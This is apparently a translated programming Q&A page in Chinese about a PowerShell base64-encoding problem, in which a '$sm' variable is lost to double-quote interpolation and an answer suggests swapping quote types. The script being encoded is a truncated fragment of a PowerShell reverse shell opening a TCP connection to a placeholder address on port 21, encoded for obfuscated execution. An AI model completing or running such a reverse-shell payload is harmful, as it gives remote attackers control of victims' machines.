powershell转换ToBase64String $ string encoding error

时间:2017-06-30 06:20:41

标签: powershell

当我尝试在powershell中转换以下代码时:

[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("**$sm=**(New-Object Net.Sockets.TCPClient('1.2.3.4',21)).GetStream();[byte[]]$b ..等..etc ..etc

结果base64编码的字符串执行失败。

我得到"**+** =(New-Object Net.Sockets.TCPClient"没有$ sm。

结果是“+”而不是$ sm ??

如何对其进行编码以便将$包含在我的代码中以正确运行它?

1 个答案:

答案 0 :(得分:0)

Mathias R. Jessen,你是对的! 我已将单个引号更改为代码内部的两倍,并使用单引号将其包含在内。 谢谢!!